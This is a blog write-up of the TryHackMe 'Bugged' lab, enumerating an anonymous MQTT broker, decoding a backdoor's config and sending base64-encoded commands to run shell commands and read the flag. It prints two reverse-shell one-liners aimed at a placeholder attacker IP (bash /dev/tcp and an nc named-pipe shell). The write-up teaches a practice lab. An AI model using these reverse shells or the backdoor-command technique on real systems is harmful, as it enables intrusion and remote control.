DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe : Bugged - Writeup

Overview

Bugged is an easy TryHackMe box built around an MQTT broker (Mosquitto) that allows anonymous connections. The broker exposes normal-looking IoT device telemetry alongside a hidden backdoor that accepts base64-encoded JSON commands over a dedicated pub/sub topic pair. The path to the flag is pure protocol enumeration - no exploit, no CVE, just reading what the broker gives you and talking back to it correctly.

Recon

Started with a standard nmap scan against the target:

nmap -A -Pn <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Enter fullscreen mode Exit fullscreen mode

Only SSH showed up on the default top-1000 scan, so I re-ran a full port scan:

nmap -A -p- <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT     STATE SERVICE                  VERSION
22/tcp   open  ssh                      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
1883/tcp open  mosquitto version 2.0.14
Enter fullscreen mode Exit fullscreen mode

Port 1883 is the default Mosquitto MQTT broker port. Nmap's mqtt-subscribe NSE script fired automatically and pulled live topic payloads with zero authentication:

| mqtt-subscribe:
|   Topics and their most recent payloads:
|     patio/lights: {"id":9998114626078018681,"color":"RED","status":"ON"}
|     livingroom/speaker: {"id":12601305813556976146,"gain":46}
|     storage/thermostat: {"id":7294984710367304884,"temperature":23.320595}
Enter fullscreen mode Exit fullscreen mode

Anonymous read access being possible from an NSE script during a plain nmap scan is the first sign this broker has no auth enforced at all.

MQTT Enumeration

Subscribed to every topic on the broker to get the full picture:

mosquitto_sub -h <MACHINE_IP> -t '#' -v
Enter fullscreen mode Exit fullscreen mode

This surfaced the expected IoT noise (patio/lights, livingroom/speaker, kitchen/toaster, storage/thermostat, frontdeck/camera) plus one topic that didn't fit the pattern - a random-looking topic name publishing a base64 blob:

yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
Enter fullscreen mode Exit fullscreen mode

Decoding it:

echo '<blob>' | base64 -d
Enter fullscreen mode Exit fullscreen mode
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}
Enter fullscreen mode Exit fullscreen mode

This is a backdoor config broadcast on a periodic interval, disclosing its own control topics and a unique id. It's effectively announcing itself to anyone listening to #.

Talking to the Backdoor

The backdoor listens on sub_topic and replies on pub_topic. Publishing a plain-text HELP command got rejected:

mosquitto_pub -h <MACHINE_IP> -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'HELP'
Enter fullscreen mode Exit fullscreen mode

Reply (base64-decoded):

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Invalid message format.\nFormat: base64({\"id\": \"<backdoor id>\", \"cmd\": \"<command>\", \"arg\": \"<argument>\"})"}
Enter fullscreen mode Exit fullscreen mode

So the protocol is: base64-encode a JSON object containing the backdoor's id, a cmd, and an arg. Built the correctly formatted HELP request:

echo -n '{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "HELP", "arg": ""}' | base64 -w0
Enter fullscreen mode Exit fullscreen mode

Important detail: plain base64 without -w0 wraps output at 76 characters, which breaks the JSON when pasted into -m. Always use -w0 for a single-line payload with mosquitto_pub.

Published it and got the real help text back:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n    Base64({\n        \"id\": \"<Backdoor ID>\",\n        \"cmd\": \"<Command>\",\n        \"arg\": \"<arg>\",\n    })\n\nCommands:\n    HELP: Display help message (takes no arg)\n    CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"}
Enter fullscreen mode Exit fullscreen mode

CMD is arbitrary shell command execution.

Confirming Code Execution

echo -n '{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "id"}' | base64 -w0
Enter fullscreen mode Exit fullscreen mode
mosquitto_pub -h <MACHINE_IP> -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '<payload>'
Enter fullscreen mode Exit fullscreen mode

Response:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)\n"}
Enter fullscreen mode Exit fullscreen mode

Confirmed command execution as user challenge.

Reverse Shell Attempts (Blocked)

Tried the standard bash /dev/tcp reverse shell:

bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"
Enter fullscreen mode Exit fullscreen mode

Response:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"bash: connect: Network is unreachable\nbash: line 1: /dev/tcp/<ATTACKER_IP>/4444: Network is unreachable\n"}
Enter fullscreen mode Exit fullscreen mode

Tried a named-pipe / nc FIFO shell next:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> 9001 >/tmp/f
Enter fullscreen mode Exit fullscreen mode

Response:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"rm: cannot remove '/tmp/f': No such file or directory\n/bin/sh: 1: nc: not found\n"}
Enter fullscreen mode Exit fullscreen mode

nc isn't present on the box, and outbound TCP is unreachable regardless of technique - this points to egress filtering on the target combined with a minimal shell environment, not a routing issue on the attacker side (the target was already reachable for the initial nmap scan and MQTT traffic).

Pivoting: Skip the Shell, Use CMD Directly

Since CMD already gives arbitrary command execution, a reverse shell isn't actually required to solve the box - every command can be run one at a time through the existing MQTT channel. Went straight for the flag:

echo -n '{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "cat flag.txt"}' | base64 -w0
Enter fullscreen mode Exit fullscreen mode
mosquitto_pub -h <MACHINE_IP> -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '<payload>'
Enter fullscreen mode Exit fullscreen mode

Response:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{REDACTED}\n"}
Enter fullscreen mode Exit fullscreen mode

Flag

flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Takeaways

  • An MQTT broker with anonymous access is a full read/write channel into whatever is publishing on it - treat it like an unauthenticated API.

  • Periodic "config" broadcasts on unusual topic names are worth decoding on sight; this one handed over the entire backdoor protocol for free.

  • Don't assume a reverse shell is required just because it's the default move - if the access you already have (CMD here) can run any command, it can also just retrieve the flag directly.

  • Always use base64 -w0 when building single-line payloads for tools like mosquitto_pub - default line wrapping silently breaks JSON.

Top comments (0)